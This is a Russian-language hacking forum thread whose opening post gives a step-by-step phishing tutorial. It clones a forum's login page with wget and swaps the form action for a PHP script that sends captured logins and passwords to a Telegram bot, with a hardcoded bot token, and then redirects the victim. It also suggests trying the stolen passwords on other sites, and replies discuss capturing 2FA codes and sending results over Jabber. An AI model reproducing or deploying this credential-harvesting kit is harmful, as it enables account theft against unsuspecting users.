• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Фишинг атака на примере форума XSS. Получаем log:pass прямо в Telegram.

TR77

HDD-drive
Забанен
Регистрация
16.07.2023
Сообщения
34
Реакции
71
Пожалуйста, обратите внимание, что пользователь заблокирован

Спойлер: не в коем случае не применяйте это на форумчанах. Чтоб защититься от данного вида атаки используйте 2FA и проверяйте домен сайта на который заходите. Используйте на всех сайтах разные пароли.​

И так, что же такое фишинг для тех кто не в курсе.

Фи́шинг — вид интернет-мошенничества, целью которого является получение доступа к конфиденциальным данным пользователей — логинам и паролям.
Это нам выдает Википедия, а если по простому это копия сайта будь-то выкачанная верстка или сделанная своими руками 1в1, на которой при нажатии кнопки войти или login или же нажатие на enter данные из полей логин и пароль не отправляются на сервер сайта с целью попытки входа, а летят прямиком на наш сервер и далее уже в telegram чтоб было удобно их читать.

К слову, полученные логин и пароль могут подойти не к только аккаунту сайта на который жертва пытается войти, а и на другие сайты тоже, человек ленив по своей натуре и большинству впадлу хотя-бы использовать разные пароли на сайтах поэтому мы это сможем использовать вдвойне пытаясь сбрутить и другие форумы тоже типа ВВХ, лолз и другие.

Начнем..​

Исходя из выше рассказаного нам понадобится верстка или копия страницы авторизации нашего форума. Вариант сверстать вручную оставим на крайний случай, первым делом нужно попробовать скачать страницу автоматически и посмотреть чтоб она была без косяков, банально экономим время.

Мамкины кул хацкеры используют Linux, и на нем уже есть встроенная тулза которая нызвается wget. Те у кого ее нет и сидят на Debian дистрибутивах установите ее с помощью команды
Код:
sudo apt update && sudo apt install wget
Загуглив linux wget full page stackoverflow нам выдает такую команду
1689690922519.png

Ее мы и будем использовать. Страница авторизации находится по ссылке https://xss.pro/login, ее мы и вставляем в нашу команду.
Код:
wget \
     --recursive \
     --level 5 \
     --no-clobber \
     --page-requisites \
     --adjust-extension \
     --span-hosts \
     --convert-links \
     --restrict-file-names=windows \
     --domains yoursite.com \
     --no-parent \
         https://xss.pro/login

На всякий случай скажу прописывайте команду уже в заранее в созданной папке на рабочем столе чтоб потом не лазить по компу и не искать куда скачался сайт.

По итогу скачивания мы получаем один файлик index.html
1689690964972.png

source файлы типа css, js всяких скриптов нам и не нужны локально, достаточно будет того что они подтянутся с хоста форума.
Пример:
<script src="https://xss.pro/js/xf/login_signup.min.js?_v=88682c32"></script>

Всегда советую поднимать локальный сервер чтоб посмотреть результат скачанного сайта локально через браузер, иногда бывают скрипты не работают если открывать index.html по пути пример:
file:///home/me/Downloads/test/xss.pro/login/index.html
но корректно работают на
localhost или localhost:8000
Можете скачать OpenServer или Xampp , включить Apache и закинуть index.html именно туда и по localhost посмотреть что получилось. Но я не люблю эти проги, мне проще это сделать с помощью php и вот как.

Если у кого-то не стоит php, ставьте через
sudo apt install php
проверьте чтоб была последняя версия 8.1 или 8.2 что-то такое, если поставится 7.4 это уже устаревшая и просто не очень ее использовать, но это на будущее.

Команда чтоб поднять локальный сервер
php -S localhost:8000
1689691057845.png

Прописывать естественно в папке, в которой лежит наш index.html

Можем смотреть в браузере что у нас вышло
1689691072978.png

Нам крупно повезло страничка отображется корректно, без косяков и багов по верстке, обычно когда выкачиваешь сайт в 90% случаев нужно делать какие-то правки чтоб копия была практически 1 в 1, а тут все ок.

Думаю пора делать отстук​

Открываем в VSCODE папку с файлом, открываем index.html и чтоб найти форму с полями логина и пароля проще по поиску вбить Имя пользователя или email и на 700 строчке сразу находим нашу форму.
1689691147624.png

Чуть-чуть выше видим строчку
<form action="https://xss.pro/login/login" method="post" class="block"
тут нам нужно поменять action, именно по нему будут отсылаться все данные из формы, логин пароль токен _xfToken и прочее, но из всей каши мы возьмем только лог:пасс.
Меняем action на otstuk.php

Выйдет вот так
<form action="otstuk.php" method="post" class="block"
1689691276206.png

Конечно теперь нужно создать этот файл в папке и прописать код который будет отправлять наши данные в телегу.
1689691288198.png

Первое что нужно это проверить что вообще отсылается. Для этого напишем вот такой код
PHP:
<pre> //делает красивый вывод

<?php // обозначаем что пишем php код

var_dump($_POST); // вар дамп - вывод переменной,
переменная $_POST содержит в себе все отылаемые данные

1689691320640.png

Сохраняем, заходим на наш localhost заполняем тестовые данные и нажимаем кнопку войти.
1689691334492.png


1689691343546.png


Можем увидеть что все работает корретно, данные приходят, мы видим наши тестовые лог пасс, а остальное нам не нужно.

Telegram​

Небольшая подготовка​

Создайте своего бота через https://t.me/botFather, с помощью бота мы будем получать лог:пасс в личку. Скопируйте выданный токен.
1689691373595.png

Обязательно отправьте боту /start чтоб создать с ним чат.
1689691393191.png


С помощью https://t.me/userinfobot узнайте свой chat_id. Это нужно чтоб наш бот понимал кому отправлять сообщение.

В итоге вы должны записать где-то свой чат айди и токен бота созданного.

1689691412221.png
\

Возвращаемся к PHP​

В апи Telegrama чтоб отправить сообщение от бота в ЛС используется HTTP GET запрос.


Вместо TOKEN - вставляется наш токен бота

Вместо chat_id - наш chat ID.

Text - текст сообщения обязательно закодированный для урлов (urlencoded).

Но если мы вставим ссылку в браузер то он сам закодирует наше сообщение, кодировать нужно будет только в PHP коде.

Давайте попробуем отправить тестовое сообщение.
https://api.telegram.org/bot6062552065:AAH4TpFlhP3VZ84rGi5MBPADBC4dCW3BqdM/sendMessage?chat_id=6142058098&text=TEST
У меня вышла такая ссылка, вставляю в браузер и смотрю что выходит.

Все работает!

1689691514868.png


И бот прислал сообщение.

1689691530855.png


Убираю все что написал раньше, и пробую интегрировать это в PHP. Чтоб выполнить гет запрос достаточно будет использовать функцию file_get_contents
PHP:
<?php
file_get_contents('https://api.telegram.org/bot6062552065:AAH4TpFlhP3VZ84rGi5MBPADBC4dCW3BqdM/sendMessage?chat_id=6142058098&text=TEST');

Теперь по нажатию на кнопку войти на странице фиша нас будет перекидвать на otstuk.php и бот телеги будет отправлять нам сообщение TEST.

Заменим TEST на лог пасс и далее редирект на главную страницу форума чтоб не вызывать подозрений.

Создадим переменную $message = ''.

Чтоб засунуть в нее логин добавим такую строчку

$message .= 'Login: ' . $_POST['login'];

Так как переменная пост это массив можно к нему обратиться по ключу логин и получить его собственно.

Проверим что в себе хранит теперь переменная $message. Это можно сделать строчкой.

var_dump($message); die;
die - завершит выполнение кода чтоб не отправлять гет запрос во время нашего дебага.
1689691615165.png


1689691622796.png


Все работает правильно, по такой же схеме добавляем пароль в нашу переменную $message, только к логину добавим снос строки чтоб сообщение не было в одну строчку.

$message .= 'Login: ' . $_POST['login'] . "\n"; // сноска
$message .= 'Password: ' . $_POST['password'];

Дебажим
1689691660234.png


Все в одну строчку, но когда в телеге будет отправляться сообщение оно будет красиво.

Последний этап вместо TEST ставим нашу переменную и добавляем редирект.
file_get_contents('https://api.telegram.org/bot6062552065:AAH4TpFlhP3VZ84rGi5MBPADBC4dCW3BqdM/sendMessage?chat_id=6142058098&text=' . urlencode($message));

Редирект делается с помощью
Header('Location: https://xss.pro/login/');
Не забудьте убрать die;, а то код будет останавливаться.

Итоговый результат должен быть примерно такой
PHP:
<?php

$message = '';

$message .= 'Login: ' . $_POST['login'] . "\n";

$message .= 'Password: ' . $_POST['password'];

var_dump($message);

file_get_contents('https://api.telegram.org/bot6062552065:AAH4TpFlhP3VZ84rGi5MBPADBC4dCW3BqdM/sendMessage?chat_id=6142058098&text=' . urlencode($message));

Header('Location: https://xss.pro/login/');

Зайдем в браузер на наш localhost, введем логин пароль и посмотрим что выйдет.

Все работает!

Telegram прислал мне сообщение

1689691720862.png


А браузер перекинул меня на оригинальную ссылку форума.
Примерно так делается фиш, повторюсь не используйте на форумчанах, это все лишь в качестве ознакомления и привлечения вашего внимания с целью более доступно обьяснить информацию.
Самая большая благодарность это ваши лайки и комментарии.
Если хотите продолжение или статью на похожую тематику пишите буду делать.
 

Вложения

  • xss fish.zip
    8.4 КБ · Просмотры: 24
Пожалуйста, обратите внимание, что пользователь заблокирован
Что ты такое? Сейчас 2005-ый год, или... А, нет, телеграм-бот у него уже есть, ебать. Технологично
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Что ты такое? Сейчас 2005-ый год, или... А, нет, телеграм-бот у него уже есть, ебать. Технологично
ждем от тебя статью на уровне технологий 2023 года, форум тебе будет благодарен, если потянешь конечно такое
 
ждем от тебя статью на уровне технологий 2023 года, форум тебе будет благодарен, если потянешь конечно такое
полезная статья, спасибо, просто пример мог быть не на xss)
 
Что ты такое? Сейчас 2005-ый год, или... А, нет, телеграм-бот у него уже есть, ебать. Технологично
Если делаете замечания, делайте это по коду, топите техническую сторону. А просто критиковать, еще и в такой грубой форме, это очень недружелюбно. Никто ничего писать не будет, с таким подходом.
Напишите тоже что-то. Будем очень благодарны. Это я без иронии, правда, просьба.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я напишу в таком же ключе, офигенную статью - "Как отрыть сокет, и закрыть ебальник" например. Размажу по символам, скриншоты кода в редакторе (ЧТО БЛТЬ?) как говно по стене, и потом попрошу у тебя шекель. Великолепный план, Уолтер
За брань извини, это деменция - постоянно забываю, что нельзя так себя вести в приличном обществе. А, нет, всё верно
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я напишу в таком же ключе, офигенную статью - "Как отрыть сокет, и закрыть ебальник" например. Размажу по символам, скриншоты кода в редакторе (ЧТО БЛТЬ?) как говно по стене, и потом попрошу у тебя шекель. Великолепный план, Уолтер
За брань извини, это деменция - постоянно забываю, что нельзя так себя вести в приличном обществе. А, нет, всё верно
Если статья на тебя не расчитана зачем об этом всем рассказывать, да она для тех кто только начинает свой путь или просто интересуется как сделать фиш. Я получу за это три рубля, тебя никто не ограничивает сделать так же или лучше и получить свои три копейки. Но если ты можешь больше сделай статью, которая всех поразит своей уникальностью, актаульностью, грамотностью, стилем кода и прочим. А пока ты просто пишешь безсмысленный негатив.

Но я постараюсь делать контент качественне, технологичнее и уникальнее, суть твоих слов я понял.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Интересно было ознакомиться с статьей, спасибо !
полезная статья, спасибо, просто пример мог быть не на xss)
спасибо за ваши отзывы, очень приятно ;)
 
хз что можно фишить бля емае в 2023 по лог пассу (((
у меня даже школьные офферы популярные 2фа + код с почты запрашивают
Всё тоже, что и раньше. Проблема 2фа не понятна, создаётся вторая страница, где необходимо код ввести. Если автор захочет, распишет\отредачит.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
This is useful because it contributes to a fairly large group of users that wish to understand fundamentals in a logical way.

Those responding with ignorance and bad manners look like clowns.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я напишу в таком же ключе, офигенную статью - "Как отрыть сокет, и закрыть ебальник" например. Размажу по символам, скриншоты кода в редакторе (ЧТО БЛТЬ?) как говно по стене, и потом попрошу у тебя шекель. Великолепный план, Уолтер
За брань извини, это деменция - постоянно забываю, что нельзя так себя вести в приличном обществе. А, нет, всё верно
Мистер, а вы в своем репертуаре! XD
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Статья действительно годная.
Автор молодцом, что разжевал для новичков!
This is useful because it contributes to a fairly large group of users that wish to understand fundamentals in a logical way.

Those responding with ignorance and bad manners look like clowns.

спасибо , очень приятно :smile2:
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Примера скрипта с отправкой результатов в жабу нет?
хорошая идея, возьму на вооружение
 
Примера скрипта с отправкой результатов в жабу нет?
У джабера вроде нет апи как у телеги, поэтому тут нужно взять какой то php xmpp клиент, например этот - https://github.com/Norgul/xmpp-php и отправить с его помощью в джабер, пример есть прям в доке.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх